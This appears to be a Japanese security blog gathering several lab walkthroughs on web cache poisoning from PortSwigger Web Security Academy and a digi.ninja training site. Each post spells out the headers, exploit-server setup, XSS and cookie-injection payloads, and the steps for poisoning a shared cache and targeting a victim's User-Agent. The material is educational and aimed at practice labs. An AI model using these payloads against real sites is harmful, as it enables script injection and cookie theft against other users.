shikata ga nai

Private? There is no such things.

Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteriaをやってみた

Hello there, ('ω')ノ

 

厳格なキャッシュ基準を介してDOMの脆弱性を悪用するキャッシュポイズニングを。

 

Webサイトがキーのないヘッダーを安全に使用してファイルをインポートすると。

攻撃者がこれを悪用して悪意のあるファイルをインポートする可能性があって。

これはJavaScriptではなくて。

 

f:id:ThisIsOne:20210119174417p:plain

 

ホームページを生成したリクエストとレスポンスを調べて。

リクエストを見つけて、BurpRepeaterに送信して。

 

f:id:ThisIsOne:20210119175250p:plain

 

jsonリクエストもBurpRepeaterに送信して。


f:id:ThisIsOne:20210119174838p:plain

 

jsonリクエストのレスポンスを確認して。

 

f:id:ThisIsOne:20210119175146p:plain

 

BurpのParam MinerでX-Forwarded-Hostヘッダがサポートされていることを確認して。

 

f:id:ThisIsOne:20210120103115p:plain

 

下記のキャッシュバスターをリクエストに追加して。

 X-Forwarded-Host: example.com

 

f:id:ThisIsOne:20210119175702p:plain

 

エクスプロイトサーバを起動して。

脆弱なレスポンスで使用されるパスに一致するようにファイル名を変更して。

 /resources/json/geolocate.json

 

ヘッダに下記を追加して、CORSを有効に。

 Access-Control-Allow-Origin:*

 

本文には、脆弱なWebサイトで使用されているものと一致する。

悪意のあるJSONオブジェクトを追加して。

値については、XSSペイロードを。

 

 {
  "country": "<img src=x onerror=alert(document.cookie) />"
 }

 

最後に保存して。

store

 

f:id:ThisIsOne:20210119182431p:plain

 

Burpのリクエストには、上記のURLに変更して。

 X-Forwarded-Host:ac061f761f2bf2c580ab1ac201b80010.web-security-academy.net

 

X-Cache: hitするまでSendして。

 

f:id:ThisIsOne:20210119183104p:plain

 

ブラウザをリロードして、alert()が発生することを確認するとクリアできた。


f:id:ThisIsOne:20210119182324p:plain

 

Best regards, (^^ゞ

Web Cache Poisoning LabのBasicをやってみた

Hello there, ('ω')ノ


Webキャッシュポイズニングは、Webキャッシュをだまして。

悪意のあるコンテンツを保存して、それを他のユーザーに提供する行為で。

Webキャッシュをポイズニングする一般的な3つの方法は、以下のとおりで。

 ・リクエストの密輸

 ・リクエストの分割

 ・キーなしの入力を使用したポイズニング

 

キーなしの入力を使用したキャッシュポイズニングにのみ焦点を当てると。

 

Webキャッシュは、は、頻繁にアクセスされるコンテンツを保存して。

そのコンテンツにアクセスするための後続の要求を高速化して。

キャッシュの例としては、下記のようなものがあって。

 ・メモリキャッシュ

 ・DNSキャッシュ

 ・Webキャッシュ

 

Webキャッシュは、HTTP応答を一定期間保存することで機能して。

Webキャッシュがキャッシュへの応答コンテンツを追跡する方法は。

キャッシュキーと呼ばれるものを使用して。

キャッシュキーはキャッシュが応答を一意に識別するのに使用するHTTP要求の一部で。

キャッシュキーは1つ以上の応答ヘッダの値とURLパスの全体または一部で構成されて。

下記で、マーキングされている1,2行目がキャッシュキーで。

キャッシュキー以外のリクエストの一部がレスポンスの内容を変更できる場合は。

問題が発生し始めて。

 

f:id:ThisIsOne:20210120140914p:plain

 

まずは、下記へアクセスして。

 https://poison.digi.ninja/

 https://00bf72f7.poison.digi.ninja:2443/basic.php

 

f:id:ThisIsOne:20210120131537p:plain

 

ページを生成しているリクエストをリピーターして。

 

f:id:ThisIsOne:20210120142347p:plain

 

Sendして、レスポンスを表示させて。


f:id:ThisIsOne:20210120125700p:plain

 

キャッシュキーのHostの内容が、リクエストに反映されているのを確認できて。

 

f:id:ThisIsOne:20210120125749p:plain

 

下記のキーを追加してSendしてみると、キャッシュキー以外がレスポンスに含まれて。

 x-forwarded-host: example.com

 

f:id:ThisIsOne:20210120131120p:plain

 

追加した内容を変更すると、レスポンスの内容も変更されるのを確認できて。

 x-forwarded-host: a."><script>alert(1)</script>

 

f:id:ThisIsOne:20210120131405p:plain

 

Sendを押し続けて、Ageの値を確認しながらリフレッシュさせて。

 Age: 0

 

f:id:ThisIsOne:20210120131752p:plain

 

はじめのページをリロードすると、スクリプトが反映された。


f:id:ThisIsOne:20210120131717p:plain

 

ちなみにExtenderのアウトプットは、下記のとおりで。

 

f:id:ThisIsOne:20210120133329p:plain

 

脆弱性としても検知されていて。

 

f:id:ThisIsOne:20210120155637p:plain


Best regards, (^^ゞ

Targeted web cache poisoning using an unknown headerをやってみた

Hello there, ('ω')ノ

 

不明なヘッダを使用してターゲットを絞ったWebキャッシュポイズニングを。

 

今回は、複数の手順が必要なようで。

脆弱性がどこにあるかを特定して。

キャッシュがどのように動作するかを調べて。

キャッシュをポイズニングする前に。

ユーザの適切なサブセットをターゲットにする方法を見つけて。

 

f:id:ThisIsOne:20210119152822p:plain

 

ホームページ生成したリクエストをリピーターへ。

 

f:id:ThisIsOne:20210119152905p:plain

 

下記のキャッシュバスタークエリパラメータを追加して、Sendして。

 X-Host: example.com

 

このヘッダ値は、下記のファイルをインポートするURLを動的に生成して。

 /resources/js/tracking.js

 

f:id:ThisIsOne:20210119153057p:plain

 

被害者をシミュレートするには、URLをロードしてalert()を確認する必要があって。

User-Agentは、キャッシュキーの一部として使用されていて。

被害者を標的にするには、被害者のユーザエージェントを見つける必要があって。

 

まずは、Exploit Serverを起動して。

FileとBodyを入力して。

 /resources/js/tracking.js

 alert(document.cookie)

 

f:id:ThisIsOne:20210119153406p:plain

 

一旦、Storeして。

 

f:id:ThisIsOne:20210119153511p:plain

 

Exploit ServerのURLと先ほどのヘッダ値を入れ替えて、Sendして。

 acb41f491f6ab8dc801e0da801540059.web-security-academy.net

 

f:id:ThisIsOne:20210119153604p:plain

 

ここで、ブログへの書き込みをして、Post Commentを。

 <img src="https://acb41f491f6ab8dc801e0da801540059.web-security-academy.net/foo" />

 

f:id:ThisIsOne:20210119154044p:plain

 

Back to blogして。

 

f:id:ThisIsOne:20210119154150p:plain

 

コメントが反映されたことを確認して。

 

f:id:ThisIsOne:20210119154248p:plain

 

Exploit Serverのログを確認して、User-Agentをコピーして。

 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36

 

f:id:ThisIsOne:20210119154433p:plain

 

User-Agentを書き換えてSendして、X-Cache: hitになったら。

 

f:id:ThisIsOne:20210119154550p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210119160015p:plain

 

Best regards, (^^ゞ

Web cache poisoning with multiple headersをやってみた

Hello there, ('ω')ノ

 

複数のヘッダーを使用したWebキャッシュポイズニングを。

 

一部のWebサイトは単純なキャッシュポイズニングに脆弱のようで。

ただし、高度な攻撃も必要だったりと。

複数のキーのない入力を操作するリクエストを作成できる場合にのみ脆弱になったり。

悪意のあるURLにリダイレクトするキャッシュ可能な応答を生成することもあって。

 

f:id:ThisIsOne:20210119084502p:plain

 

trackingのリクエストをRepeaterに送信して。

 

f:id:ThisIsOne:20210119084437p:plain

 

そのままSendするとレスポンスを見て、何も影響がなく。

 HTTP/1.1 200 OK

 

f:id:ThisIsOne:20210119085911p:plain

 

 

下記を追加してSendしても、レスポンスを見ると何も影響がなく。
 X-Forwarded-Host: example.com

 

f:id:ThisIsOne:20210119091426p:plain

 

下記に置き換えてSendすると。

 X-Forwarded-Scheme: example.com

 

HTTPS以外の値なので。

レスポンスがexample.comに対して、URLが一時的に変更されたという応答が。

 HTTP/1.1 302 Found

 

f:id:ThisIsOne:20210119092203p:plain

 

下記の2つを追加してSendして、レスポンスを見ると何も影響がなく。

 X-Forwarded-Scheme: example.com
 X-Forwarded-Host: example.com

 

f:id:ThisIsOne:20210119092533p:plain

 

レスポンスから下記のURLをコピーして。

 /resources/js/tracking.js

 

f:id:ThisIsOne:20210119092802p:plain

 

Exploit Serverを起動して、コピーした内容をFileに。

Bodyには、下記のペイロードを。

 alert(document.cookie)

 

最後にStoreして。

 

f:id:ThisIsOne:20210119093153p:plain

 

Exploit ServerのURLをリクエストに入力して。

 X-Forwarded-Host: ac761f861f62c59280b5163b019700c6.web-security-academy.net

 

X-Cache: hitが表示されるまでSendして。

 

f:id:ThisIsOne:20210119093258p:plain

 

キャッシュが正常にポイズニングされて、ペイロードのスクリプトが表示されて。

 

f:id:ThisIsOne:20210119120511p:plain

 

リロードするとクリアできた。

 

f:id:ThisIsOne:20210119120550p:plain

 

Best regards, (^^ゞ

Web cache poisoning with an unkeyed cookieをやってみた

Hello there, ('ω')ノ

 

キーのないCookieによるWebキャッシュポイズニングを。

 

キャッシュによるCookieに欠陥のある処理は。

Webキャッシュポイズニング技術を使用して悪用される可能性があって。

ただ、実際にはヘッダベースのキャッシュポイズニングと比較して比較的まれで。

今回は、Cookieがキャッシュキーに含まれていないので。

Webキャッシュポイズニングに対して脆弱で。 

 

f:id:ThisIsOne:20210118154107p:plain

 

リクエストとレスポンスのデータを比較すると。

レスポンスでリクエストのクッキーのデータを設定していて。

 fehost=prod-cache-01

 

f:id:ThisIsOne:20210118154042p:plain

 

リピーターでキャッシュバスタークエリパラメータを変更して送信してみても。

リクエストで設定されていることが確認できて。

 fehost=hack-cache-01

 

f:id:ThisIsOne:20210118154249p:plain

 

もう一度、送信すると下記のように正常にキャッシュされて。

 X-Cache: hit

 

f:id:ThisIsOne:20210118154530p:plain

 

XSS ペイロードをCookieのfehostに。

 fehost=hack-cache-01"-alert(1)-"hack-cache-01

 

f:id:ThisIsOne:20210118154559p:plain

 

リクエストのURLとブラウザのURLを確認して。

 "host":"ac6a1f711edbe81b801014d9001200aa.web-security-academy.net"

 

f:id:ThisIsOne:20210118154757p:plain

 

ブラウザに"host"+"path"+"frontend"のURLをロードして。

 /hack-cache-01"-alert(1)-"hack-cache-01

 

f:id:ThisIsOne:20210118154956p:plain

 

alert()が発生することを確認して。

 

f:id:ThisIsOne:20210118155030p:plain

 

戻ってリロードするとクリアできた。

 

f:id:ThisIsOne:20210118155101p:plain

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain